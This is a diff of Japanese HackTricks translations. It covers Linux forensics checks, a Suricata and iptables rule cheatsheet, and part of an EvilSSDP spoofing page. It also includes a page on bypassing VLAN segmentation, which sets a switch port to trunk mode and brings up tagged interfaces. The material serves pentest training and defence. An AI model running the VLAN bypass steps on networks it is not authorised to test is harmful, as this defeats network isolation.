* **MySQL**: 不正なデータベース活動を明らかにする可能性のある実行されたMySQLクエリのために _\~/.mysql\_history_ を調査します。
* **Less**: 表示されたファイルや実行されたコマンドを含む使用履歴のために _\~/.lesshst_ を分析します。
* **Git**: リポジトリの変更のために _\~/.gitconfig_ とプロジェクトの _.git/logs_ を調査します。
* **FTP/SFTP**: _\~/.ftp\_history_ または _\~/.sftp\_history_ のログを確認し、不正なファイル転送がないか確認します。
* **MySQL**: _\~/.mysql\_history_ を調査し、実行されたMySQLクエリを確認して、不正なデータベース活動を明らかにします。
* **Less**: _\~/.lesshst_ を分析し、表示されたファイルや実行されたコマンドを含む使用履歴を確認します。
* **Git**: _\~/.gitconfig_ およびプロジェクトの _.git/logs_ を調べて、リポジトリの変更を確認します。
### USBログ
[**usbrip**](https://github.com/snovvcrash/usbrip) は、Linuxログファイルディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`を解析してUSBイベント履歴テーブルを構築するために純粋なPython 3で書かれた小さなソフトウェアです。
[**usbrip**](https://github.com/snovvcrash/usbrip) は、Linuxログファイル(ディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`を解析してUSBイベント履歴テーブルを構築するために書かれた小さなソフトウェアです。
使用されたすべてのUSBを**知ることは興味深い**ことであり、"違反イベント"そのリストに含まれていないUSBの使用を見つけるために、承認されたUSBのリストがあるとさらに有用です。
使用されたすべてのUSBを**知ることは興味深い**ことであり、許可されたUSBのリストがあれば「違反イベント」そのリストに含まれていないUSBの使用を見つけるのに役立ちます。
### インストール
```bash
@ -348,7 +348,7 @@ Get Access Today:
## ユーザーアカウントとログオン活動のレビュー
_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調べて、異常な名前やアカウントが作成または使用されているか、既知の不正イベントに近いかを確認します。また、sudoのブルートフォース攻撃の可能性もチェックしてください。\
_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調べて、異常な名前やアカウントが作成または使用されか、既知の不正イベントに近いかを確認します。また、sudoのブルートフォース攻撃の可能性もチェックします。\
さらに、_**/etc/sudoers**_や_**/etc/groups**_のようなファイルを確認し、ユーザーに与えられた予期しない特権を探します。\
最後に、**パスワードなし**または**簡単に推測できる**パスワードを持つアカウントを探します。
@ -361,13 +361,13 @@ _**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を
これらのアンチフォレンジック手法に対抗するためには、以下が重要です:
* **Autopsy**のようなツールを使用して**徹底的なタイムライン分析**を行い、イベントのタイムラインを視覚化するか、**Sleuth Kitの**`mactime`を使用して詳細なタイムラインデータを取得します。
* 攻撃者によって使用されるシェルやPHPスクリプトを含む可能性のある、システムの$PATH内の**予期しないスクリプトを調査**します。
* **/dev**内の異常なファイルを**調査**します。通常は特別なファイルが含まれていますが、マルウェア関連のファイルが存在する可能性があります。
* **隠しファイルやディレクトリを検索**します。名前が「.. 」(ドットドットスペース)や「..^G」(ドットドットコントロール-G)のようなもの、悪意のあるコンテンツを隠している可能性があります。
* コマンドを使用して**setuid rootファイルを特定**します:`find / -user root -perm -04000 -print` これは、攻撃者によって悪用される可能性のある権限の高いファイルを見つけます。
* **inodeテーブル内の削除タイムスタンプをレビュー**し、大量のファイル削除を特定します。これは、rootkitやトロイの木馬の存在を示す可能性があります。
* 1つの悪意のあるファイルを特定した後、**連続するinodeを調査**し、近くに配置されている悪意のあるファイルを探します。
* **一般的なバイナリディレクトリ**(_/bin_、_/sbin_)内の最近変更されたファイルを**確認**します。これらはマルウェアによって変更されている可能性があります。
* 攻撃者によって使用されるシェルやPHPスクリプトを含む可能性のある、システムの$PATH内の**予期しないスクリプト**を調査します。
* **/dev**内の異常なファイルを調べます。通常は特別なファイルが含まれていますが、マルウェア関連のファイルが存在する可能性があります。
* **隠しファイルやディレクトリ**を探します。名前が「.. 」(ドットドットスペース)や「..^G」(ドットドットコントロール-G)のようなもの、悪意のあるコンテンツを隠している可能性があります。
* コマンドを使用して**setuid rootファイル**を特定します:`find / -user root -perm -04000 -print` これは、攻撃者によって悪用される可能性のある権限の高いファイルを見つけます。
* **inodeテーブル内の削除タイムスタンプ**をレビューして、大量のファイル削除を特定し、ルートキットやトロイの木馬の存在を示す可能性があります。
* 1つの悪意のあるファイルを特定した後、**連続するinode**を調査して、近くに配置された悪意のあるファイルを探します。
* 最近変更されたファイルがあるかどうかを確認するために、一般的なバイナリディレクトリ_/bin_、_/sbin_をチェックします。これらはマルウェアによって変更される可能性があります。
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@ -376,7 +376,7 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
注意してください、**攻撃者**は**ファイルを合法的に見せるために** **時間**を**変更**することができますが、**inode**を**変更**することは**できません**。もし**ファイル**が同じフォルダ内の他のファイルと**同時に作成および変更された**ことを示しているが、**inode**が**予期せず大きい**場合、その**ファイルのタイムスタンプは変更されています**。
注意してください、**攻撃者**は**ファイルを合法的に見せるために** **時間**を**変更**することができますが、**inode**を**変更**することはできません。もし**ファイル**が同じフォルダ内の他のファイルと**同時に作成および変更された**ことを示しているが、**inode**が**予期せず大きい**場合、その**ファイルのタイムスタンプは変更されています**
{% endhint %}
## 異なるファイルシステムバージョンの比較
@ -393,7 +393,7 @@ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
* **削除されたファイルを検出する**:
* **削除されたファイルを検出するために**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
@ -415,24 +415,25 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **書籍: Linuxシステムのマルウェアフォレンジックフィールドガイド: デジタルフォレンジックフィールドガイド**
{% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricksをサポートする</summary>
あなたは**サイバーセキュリティ会社**で働いていますか?あなたの**会社をHackTricksで宣伝したい**ですか?それとも**最新のPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたい**ですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見てください
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **参加する** [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) に、または**私を** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**でフォローしてください。**
**あなたのハッキングトリックを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを送信して共有してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)を使用して、世界で**最も進んだ**コミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}

View file

@ -1,28 +1,31 @@
# Suricata & Iptables チートシート
# Suricata & Iptables cheatsheet
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Iptables
### チェーン
### Chains
iptablesでは、チェーンとして知られるルールのリストが順次処理されます。これらの中で、3つの主要なチェーンが普遍的に存在し、システムの機能に応じてNATなどの追加のチェーンがサポートされる場合があります。
iptablesでは、チェーンとして知られるルールのリストが順次処理されます。これらの中で、3つの主要なチェーンは普遍的に存在し、NATのような追加のチェーンはシステムの能力に応じてサポートされる可能性があります。
- **Input Chain**: 受信接続の動作を管理するために使用されます。
- **Forward Chain**: ローカルシステムに向けられていない受信接続を処理するために使用されます。これは、データが別の宛先に転送されることを意味するデバイスがルーターとして機能する場合に一般的です。このチェーンは、システムがルーティング、NAT、または類似のアクティビティに関与している場合に主に関連します。
- **Output Chain**: 送信接続の規制に専念します。
- **Forward Chain**: ローカルシステムに向けられていない受信接続を処理するために使用されます。これは、受信したデータが別の宛先に転送されることを目的とするルーターとして機能するデバイスに典型的です。このチェーンは、システムがルーティング、NAT、または類似の活動に関与している場合に主に関連します。
- **Output Chain**: 送信接続の規制に専念しています。
これらのチェーンは、ネットワークトラフィックの整然な処理を確保し、システムにデータの流れを詳細に規定するルールを指定することを可能にします。
これらのチェーンは、ネットワークトラフィックの秩序ある処理を確保し、システムへのデータの流れ、通過、及び出力に関する詳細なルールを指定できるようにします。
```bash
# Delete all rules
iptables -F
@ -61,7 +64,7 @@ iptables-restore < /etc/sysconfig/iptables
```
## Suricata
### インストール設定
### インストール設定
```bash
# Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages
# Ubuntu
@ -127,13 +130,13 @@ Type=simple
systemctl daemon-reload
```
### ルール定義
### ルール定義
[ドキュメントから](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) ルール/シグネチャは以下で構成されます:
[ドキュメントから:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) ルール/シグネチャは以下で構成されています:
* **アクション**シグネチャが一致したときに何が起こるかを決定します。
* **ヘッダー**プロトコル、IPアドレス、ポート、およびルールの方向を定義します。
* **ルールオプション**:ルールの具体的な内容を定義します。
* **アクション**は、シグネチャが一致したときに何が起こるかを決定します。
* **ヘッダー**は、プロトコル、IPアドレス、ポート、およびルールの方向を定義します。
* **ルールオプション**は、ルールの詳細を定義します。
```bash
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;)
```
@ -141,56 +144,56 @@ alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing
* alert - アラートを生成する
* pass - パケットのさらなる検査を停止する
* **drop** - パケットを破棄してアラートを生成する
* **reject** - 一致するパケットの送信元にRST/ICMP unreachableエラーを送信する
* rejectsrc - 単に _reject_ と同じ
* rejectdst - 一致するパケットの受信者にRST/ICMPエラーパケットを送信する
* rejectboth - 会話の両側にRST/ICMPエラーパケットを送信する
* **drop** - パケットをドロップし、アラートを生成する
* **reject** - 一致するパケットの送信者にRST/ICMP到達不能エラーを送信する。
* rejectsrc - _reject_ と同じ
* rejectdst - 一致するパケットの受信者にRST/ICMPエラーパケットを送信する
* rejectboth - 会話の両側にRST/ICMPエラーパケットを送信する
#### **プロトコル**
* tcp (tcpトラフィック用)
* udp
* icmp
* ip (ipは 'all' または 'any' を表す)
* _layer7プロトコル_: http、ftp、tls、smb、dns、ssh... (詳細は[**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)を参照)
* ip (ipは「すべて」または「任意」を意味する)
* _layer7プロトコル_: http, ftp, tls, smb, dns, ssh... (詳細は[**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)を参照)
#### 送信元および宛先アドレス
#### ソースおよび宛先アドレス
IP範囲、否定、アドレスのリストをサポートしています:
IP範囲、否定、およびアドレスのリストをサポートしています
| 例 | 意味 |
| ------------------------------ | ---------------------------------------- |
| ! 1.1.1.1 | 1.1.1.1以外のすべてのIPアドレス |
| 例 | 意味 |
| ------------------------------ | -------------------------------------- |
| ! 1.1.1.1 | 1.1.1.1以外のすべてのIPアドレス |
| !\[1.1.1.1, 1.1.1.2] | 1.1.1.1および1.1.1.2以外のすべてのIPアドレス |
| $HOME\_NET | yamlでのHOME\_NETの設定 |
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NETおよびHOME\_NET以外 |
| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24、ただし10.0.0.5を除く |
| $HOME\_NET | yamlでのHOME\_NETの設定 |
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NETおよびHOME\_NET以外 |
| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24、10.0.0.5を除く |
#### 送信元および宛先ポート
#### ソースおよび宛先ポート
ポート範囲、否定、ポートのリストをサポートしています
ポート範囲、否定、およびポートのリストをサポートしています
| 例 | 意味 |
| --------------- | -------------------------------------- |
| any | 任意のアドレス |
| \[80, 81, 82] | ポート80、81、82 |
| \[80: 82] | 80から82までの範囲 |
| \[1024: ] | 1024から最ポート番号まで |
| !80 | ポート80以外のすべてのポート |
| \[80:100,!99] | 80から100までの範囲、ただし99は除外される |
| \[1:80,!\[2,4]] | 1から80までの範囲、ただしポート2および4は除外される |
| 例 | 意味 |
| ---------------- | -------------------------------------- |
| any | すべてのアドレス |
| \[80, 81, 82] | ポート80、81、および82 |
| \[80: 82] | 80から82までの範囲 |
| \[1024: ] | 1024から最高ポート番号まで |
| !80 | 80以外のすべてのポート |
| \[80:100,!99] | 80から100までの範囲、99を除外 |
| \[1:80,!\[2,4]] | 1-80の範囲、ポート2と4を除外 |
#### 方向
適用される通信ルールの方向を示すことができます:
適用される通信ルールの方向を示すことが可能です:
```
source -> destination
source <> destination (both directions)
```
#### キーワード
Suricataには**数百のオプション**があり、探している**特定のパケット**を検索するためのオプションがたくさんあります。興味深いものが見つかった場合はここに記載されます。詳細は[**ドキュメント**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)を参照してください!
Suricataには、探している**特定のパケット**を検索するための**数百のオプション**があります。興味深いものが見つかった場合はここに記載されます。詳細については[**ドキュメント**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)を確認してください!
```bash
# Meta Keywords
msg: "description"; #Set a description to the rule
@ -231,14 +234,17 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;)
## Drop by port
drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;)
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,38 +1,41 @@
# Lateral VLAN Segmentation Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションです。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォローしてください** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
スイッチへの直接アクセスが可能な場合、VLANセグメンテーションをバイパスできます。これには、接続されたポートをトランクモードに再構成し、ターゲットVLAN用の仮想インターフェースを確立し、IPアドレスを動的にDHCPまたは静的に設定する必要があります。シナリオに応じて**詳細については[https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)を参照してください)**。
スイッチへの直接アクセスが可能な場合、VLANセグメンテーションをバイパスできます。これには、接続ポートをトランクモードに再構成し、ターゲットVLAN用の仮想インターフェースを確立し、シナリオに応じて動的DHCPまたは静的にIPアドレスを設定することが含まれます**詳細については[https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)を確認してください。**
まず、特定の接続ポートの識別が必要です。これは通常、CDPメッセージを介して達成できます。または、**include**マスクを使用してポートを検索することによっても達成できます。
最初に、特定の接続ポートの特定が必要です。これは通常、CDPメッセージを通じて、または**include**マスクを使用してポートを検索することで達成できます。
**CDPが動作していない場合、MACアドレスを検索してポートを特定できます**:
**CDPが機能していない場合、MACアドレスを検索してポートの特定を試みることができます**:
```
SW1(config)# show mac address-table | include 0050.0000.0500
```
事前にトランクモードに切り替える前に、既存のVLANのリストを作成し、それらの識別子を決定する必要があります。 これらの識別子は、インターフェースに割り当てられ、トランクを介してさまざまなVLANにアクセスできるようになります。 たとえば、使用中のポートはVLAN 10に関連付けられています。
トランクモードに切り替える前に、既存のVLANのリストを作成し、それらの識別子を特定する必要があります。これらの識別子はインターフェースに割り当てられ、トランクを介してさまざまなVLANにアクセスできるようになります。使用中のポートは、例えば、VLAN 10に関連付けられています。
```
SW1# show vlan brief
```
**トランクモードへの移行は、インターフェース構成モードに入ることを意味します**:
**トランクモードへの移行はインターフェース設定モードに入ることを伴います**:
```
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
```
スイッチをトランクモードに切り替えると、一時的に接続が中断されますが、その後復元できます。
トランクモードに切り替えると、一時的に接続が中断されますが、その後復元できます。
仮想インターフェースが作成され、VLAN IDが割り当てられ、アクティブ化されます
次に、仮想インターフェースが作成され、VLAN IDが割り当てられ、アクティブ化されます
```bash
sudo vconfig add eth0 10
sudo vconfig add eth0 20
@ -43,33 +46,36 @@ sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
```
その後、DHCPを介してアドレスリクエストが行われます。DHCPが適用できない場合は、アドレスを手動で設定することもできます。
その後、DHCPを介してアドレスリクエストが行われます。あるいは、DHCPが利用できない場合には、アドレスを手動で設定することもできます
```bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
以下は、インターフェースVLAN 10に静的IPアドレスを手動で設定する例です
インターフェースに静的IPアドレスを手動で設定する例VLAN 10
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
```
Connectivity is tested by initiating ICMP requests to the default gateways for VLANs 10, 20, 50, and 60.
接続性は、VLAN 10、20、50、および 60 のデフォルトゲートウェイに ICMP リクエストを送信することでテストされます。
Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions.
最終的に、このプロセスは VLAN セグメンテーションのバイパスを可能にし、任意の VLAN ネットワークへの制限のないアクセスを促進し、その後のアクションのための基盤を整えます。
## References
## 参考文献
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,41 +1,59 @@
# EvilSSDPを使用したSSDPおよびUPnPデバイスのスプーフィング
# SSDPおよびUPnPデバイスの偽装EvilSSDPを使用
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
